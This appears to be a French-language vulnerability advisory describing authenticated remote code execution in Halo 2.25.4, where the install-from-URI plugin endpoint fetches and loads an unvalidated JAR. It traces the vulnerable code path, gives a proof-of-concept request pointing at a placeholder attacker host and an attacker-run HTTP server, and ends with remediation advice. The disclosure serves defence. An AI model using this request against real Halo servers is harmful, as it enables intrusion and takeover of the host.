
Démontre une vulnérabilité d'exécution de code à distance authentifiée dans Halo 2.25.4 via l'installation non validée d'URI de plugin, incluant une analyse technique et un exploit de preuve de concept.
Une vulnérabilité de sécurité critique a été identifiée dans la version 2.25.4 de Halo. L'application fournit un point de terminaison administratif pour installer ou mettre à niveau des plugins à partir d'un URI distant. Cependant, le système ne valide pas le domaine source de l'URI et ne dispose pas de protections contre la falsification de requête côté serveur (SSRF) sur ce composant spécifique. Un attaquant authentifié disposant de privilèges de gestion des plugins peut fournir un lien vers un fichier JAR de plugin malveillant. Le serveur téléchargera, stockera temporairement et chargera dynamiquement le fichier JAR dans le contexte JVM à l'aide du framework PF4J et de DefaultPluginApplicationContextFactory de Spring. Cela permet l'exécution de classes d'extension non fiables, entraînant une exécution de code à distance (RCE) arbitraire sur le système d'exploitation hôte sous-jacent.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)Veuillez séparer par des virgules lors de la soumission au formulaire CVE :
Texte brut
PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
Un administrateur authentifié peut envoyer une requête HTTP POST spécialement conçue contenant une URL de plugin JAR distant malveillant au point de terminaison /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.
L'exécution de code à distance se produit via la séquence d'opérations suivante :
PluginEndpoint.installFromUri() traite le corps de la requête entrante (InstallFromUriRequest) et extrait la chaîne uri fournie par l'utilisateur. Aucun filtrage par liste blanche de domaines n'est appliqué.DefaultReactiveUrlDataBufferFetcher.fetch(uri). Contrairement aux autres composants réseau internes de Halo, ce récupérateur n'invoque pas HttpSecurityUtils.secureHttpClient(), contournant ainsi les restrictions d'adresses IP de réseau privé/loopback (protection SSRF).writeToTempFile(content).pluginService.install(path), qui utilise le JarPluginLoader de PF4J pour décompresser et charger le fichier JAR.DefaultPluginApplicationContextFactory de Spring analyse automatiquement les métadonnées dans le plugin.yaml du plugin et enregistre toutes les classes d'extension déclarées dans le contexte d'application en tant que beans Spring actifs.static {}) de la classe d'extension ou dans les blocs de méthode annotés avec @PostConstruct sera exécuté immédiatement lors de la création de l'instance via Runtime.getRuntime().exec().PluginEndpoint.java lignes 422-428) :Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // Récupération réseau non validée
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
L'attaquant compile un fichier JAR de plugin PF4J/Halo standard (poc-plugin.jar) contenant une classe d'extension avec un mécanisme d'exécution de charge utile dans un hook de cycle de vie @PostConstruct ou un bloc statique. L'attaquant l'héberge sur un serveur d'écoute externe :
Bash
python3 -m http.server 9999
L'utilisateur administratif authentifié envoie la requête HTTP suivante au serveur Halo cible :
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <ip-cible>:8090
Authorization: Bearer <JETON_ADMIN_ICI>
Content-Type: application/json
{
"uri": "http://<ip-attaquant>:9999/poc-plugin.jar"
}
Le serveur traite l'installation, récupère l'artefact depuis le serveur de l'attaquant, enregistre l'extension et exécute la commande système compilée, compromettant ainsi l'hôte cible.


application.yaml) et des fichiers stockés.uri entrant. Restreindre les schémas d'installation à distance aux places de marché officielles vérifiées et fiables de l'écosystème (par exemple, https://awesome.halo.run).DefaultReactiveUrlDataBufferFetcher pour utiliser l'utilitaire existant HttpSecurityUtils.secureHttpClient() afin de rejeter les requêtes pointant vers loopback (127.0.0.1), link-local (169.254.169.254) ou les réseaux de classe privée (10.0.0.0/8, 192.168.0.0/16).JarPluginLoader doit valider les hachages de fichiers ou les signatures cryptographiques par rapport aux clés publiques fournies par le dépôt officiel avant de les transmettre au DefaultPluginApplicationContextFactory pour l'instanciation du contexte.